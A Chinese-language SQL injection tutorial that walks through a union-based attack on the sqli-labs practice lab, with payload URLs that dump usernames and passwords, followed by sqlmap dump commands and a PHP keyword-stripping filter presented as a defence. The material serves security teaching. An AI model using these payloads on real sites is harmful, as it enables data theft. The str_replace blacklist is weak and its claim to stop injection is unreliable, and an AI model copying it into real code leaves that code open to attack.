文章目录
数据库相关概念
静态页面
- html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。
- 不依赖数据库
- 灵活性插,制作、更新、维护麻烦
- 交互性较差,在功能方面有较大的限制
- 安全,不存在SQL注入漏洞,如下图所示就是静态页面
动态页面
- asp、aspx、php、jsp等, 由相应的脚本引擎来解析执行,根据指令生成静态网页。
- 依赖数据库
- 灵活性好,维护方便
- 交互性好,功能强大
- 存在安全风险,可能存在SQL注入漏洞
- 在这里需要纠正一点,不是会动的或者又动态GIF图片的就是动态网站,一定是要有上面所述的脚本语言构成的网站,如下图所示是一个php脚本搭建的动态网站
WEB应用工作原理
数据库基本概念
要说SQL注入的背景,得先说说数据库。数据库是信息化发展进程中为了有效的存储和利用各类信息资源的产物,并逐渐成为了信息系统的核心部分,因此各大公司就开始各有侧重的开发数据库产品,如我们熟知的,Oracle、Mysql、SQL Server等,群雄逐鹿难免会出现混乱,为了避免这类困境和迎合开发者简便通用的要求,于是就协商制定出了行业规范的结构化查询语言SQL,它是一种解释型语言。
SQL查询语句
- 查询user表的所有数据
select * from user;
- 查询user表“name”等于“admin”的数据;
select * from user where name="admin";
SQL order by语句
SQL order by语句是对表格的数据进行排序,默认是从小到大的往下排。这里有个sangfor表,我们以年龄age作为排序,得到如下结果
select * from sangfor order by age;
SQL union联合查询
- 联合查询语句是联合多个表进行查询,比如这里有两个表sangfor和user表,
- 利用联合查询把2个表的数据合在一个表里面
select * from user union all select * from sangfor;
- 假如说我不想看到user表里面的内容,怎么办呢?
- 首先看看联合查询语句的格式,语句1 union all 语句2,只要将语句1的返回false就可以只显示语句2的内容
- 同样不想看到user表里面的内容,就让user表查询结果返回false
select * from user where name=1 union all select * from sangfor; user表里面没有name=1的,所以前面的查询返回false
MYSQL函数
- SQL函数是在SQL注入中用的比较多的,经常利用SQL函数来判断数据库的版本,当前用户,当前用户权限以及数据库的安装路径等等,以下是常用的MYSQL函数
system_user()系统用户名
user()用户名
current_user() 当前用户名
session_user() 连接数据库用的用户名
database()数据库名
version()mysql数据库版本
load_file()mysql读取本地文件的函数
group_concat()将相同的行组合起来
select current_user();查询当前用户
select version();查询当前数据库版本
select @@datadir;查询当前数据库路径
SQL注入 相关概念
SQL注入定义
- SQL Injection:就是通过命令吧SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
- 具体来说,他是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句
- 正是基于前面背景的认识,我们知道SQL语言是解释型语言,解释型语言的基本特征就是代码与数据的不区分,从而存在注入数据改变原有语义的缺陷。而SQL注入的本质正是基于此,改变原有语义,注入执行。
- 就如生活中的造句一样,比如:
我要吃(),正常说(饭),大家都觉得很正常,如果说(虫子),大家就觉得这人口味好重,意思就完全不一样了。
触发SQL注入
- 所有的输入只要和数据库进行交互的,都有可能触发SQL注入
- 常见的包括:
- Get参数触发SQL注入
- POST参数触发SQL注入
- Cookie触发SQL注入
- 其他参与sql执行的输入都有可能进行SQL注入
SQL注入过程
- 客户端:参数值等数据被修改
- 服务端:未经检查和过滤就将被修改的数据注入到SQL命令中,SQL命令功能被修改
- 数据库引擎:执行被修改的SQL命令
- 服务端:将注入结果返回给客户端
- 客户端:根据上一次注入获取到的敏感信息构造注入语句进行更进一步的注入
SQL注入作用
- 绕过登录验证:使用万能密码登录网站后台等
- 获取敏感数据:获取网站管理员账号、密码等
- 文件系统操作:列目录、读取、写入文件等
- 注册表操作:读取、写入、删除注册表等
- 执行系统操作命令:远程执行命令
注入案例
首先先看一张网页后台代码的界面如下图所示
- 当我们在网页中输入对应数据信息的时候,就会被调用到$id这里,经过执行就得到相关的信息。
- 试想一下,如果我们在id这里输入我们想执行查询的sql语句,然后被执行,是不是就可以得到我们想要的信息呢?
答案的确如此,只需要我们在id之后构建一个闭合,让我们把我们想执行的sql语句放在‘id’后面的话,在执行sql语句,最后注释掉后面的’不就可以实现吗 - 所以就有了基本注入思路如下
- 首先构造闭合,只有闭合成功之后才能实现后面的sql语句
- 进行检测
依次以下方式进行检测,使用
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1’ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1“ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
......等等
- 若出现下图则是检测闭合错误,即不对
- 发现只有当输入
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
- 出现下图,则判断正确闭合为 ')
- 然后使用order by 函数来查看有多少列,具体使用如下(建议使用二分法)
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 10 --+
- 发现小于10列,接下来测5列
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 5 --+
- 发现小于5列,接下来测试3列
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 3 --+
- 发现3列的时候显示正确了,所以可以判断可能大于等于3列,接下来判断4列
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 4 --+
- 经检测发现4列不正确,小于4列,所以最终可以得知为3列
- 接下来查看显示位是哪几位,使用union联合查询,先将id改为-1,这样才能使union后的sql语句执行显示出结果。
- 如图可知,显示位是2,3
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,2,3 --+
4. 使用databa()函数和version()函数查看库名和版本号
http://192.168.1.129/sqli-labs-master/Less-3/?id=-') union all select 1,database(),version() --+
5. 由步骤4可知库名为security,再根据库名输出该库的所有表名
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
6. 由步骤4,5可知库名为security,表名有users,Emails等等。我们可以尝试查询users表的列名
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
7. 根据库名security和表名users可以得知users中的列有password,username ,id这些列名,我们就可以根据这些列名查找到我们想要的信息
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(username),group_concat(password) from users--+
8. 最后查找到users的用户名和密码如上图所示(即sql注入完成)
SQL注入利用工具
-
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
SQLMAP常用命令
sqlmap -u http://172.172.3.250/cms/show.php?id=35 --dbs
-u 指定检测的URL地址 –dbs列出数据库
sqlmap -u http://172.172.3.250/cms/show.php?id=35 -D cms --tables
获取指定数据库cms的表名
sqlmap -u http://172.172.3.250/cms/show.php?id=35 -D cms -T cms_users --columns
获取指定数据库cms及指定表cms_users的列名
sqlmap -u http://172.172.3.250/cms/show.php?id=35 -D cms -T cms_users -C username,password --dump
dump列username和password的值
-r c:\sqltest.txt 加载请求数据
--cookie=COOKIE 登录后的cookie
--proxy="http://127.0.0.1:8080" 使用HTTP代理
- SQLMAP获取数据库名
- SQLMAP获取CMS数据库表名
- SQLMAP获取数据库列名
- SQLMAP获取字段值
更详细的看看之前写过了一个文章sqlmap自动化注入
防御SQL注入漏洞
SQL注入危害
- 这些危害包括但不局限于:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
- 一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。
防御SQL注入漏洞
- 过滤的对象:
- 用户的输入
- 提交的URL请求中的参数部分
- 从cookie中得到的数据
- 部署防SQL注入系统或脚本
- 过滤特殊字符:
- 单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,如图PHP中利用
- str_replace方法把特殊字符替换成空格,如下
function dowith_sql($a)
{
$a = str_replace("and","",$a);
$a = str_replace("execute","",$a);
$a = str_replace("update","",$a);
$a = str_replace("count","",$a);
$a = str_replace("chr","",$a);
$a = str_replace("ma","",$a);
$a = str_replace("master","",$a);
$a = str_replace("truncate","",$a);
$a = str_replace("char","",$a);
$a = str_replace("declare","",$a);
$a = str_replace("select","",$a);
$a = str_replace("create","",$a);
$a = str_replace("delete","",$a);
$a = str_replace("insert","",$a);
//$a = str_replace("'","",$a);
$a = str_replace("\"","",$a);
$a = str_replace(" ","",$a);
$a = str_replace("or","",$a);
$a = str_replace("=","",$a);
$a = str_replace("%20","",$a);
return $a;
}
-
把代码运用到网站服务器http://172.172.3.250/cms/中,
-
然后再用手工测试,and 1=1和 and 1=2测试之后发现都返回错误,说明代码运用成功,防御住了SQL注入
-
SQLMAP在测试下是否还有漏洞,测试不能再进行注入了